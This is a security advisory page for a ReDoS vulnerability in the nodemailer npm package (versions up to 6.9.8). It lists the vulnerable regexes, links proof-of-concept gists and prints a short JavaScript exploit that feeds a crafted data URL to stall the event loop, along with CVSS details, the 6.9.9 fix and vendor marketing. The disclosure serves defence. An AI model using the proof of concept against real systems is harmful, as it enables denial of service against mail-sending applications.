Summary
nodemailer ReDoS when trying to send a specially crafted email
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
GHSA-9H6G-PR28-7CQP has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.9.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-9H6G-PR28-7CQP? GHSA-9H6G-PR28-7CQP is a medium-severity inefficient regular expression (ReDoS) vulnerability in nodemailer (npm), affecting versions <= 6.9.8. It is fixed in 6.9.9. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- How severe is GHSA-9H6G-PR28-7CQP? GHSA-9H6G-PR28-7CQP has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nodemailer are affected by GHSA-9H6G-PR28-7CQP? nodemailer (npm) versions <= 6.9.8 is affected.
- Is there a fix for GHSA-9H6G-PR28-7CQP? Yes. GHSA-9H6G-PR28-7CQP is fixed in 6.9.9. Upgrade to this version or later.
- Is GHSA-9H6G-PR28-7CQP exploitable, and should I be worried? Whether GHSA-9H6G-PR28-7CQP is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-9H6G-PR28-7CQP is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-9H6G-PR28-7CQP? Upgrade
nodemailerto 6.9.9 or later.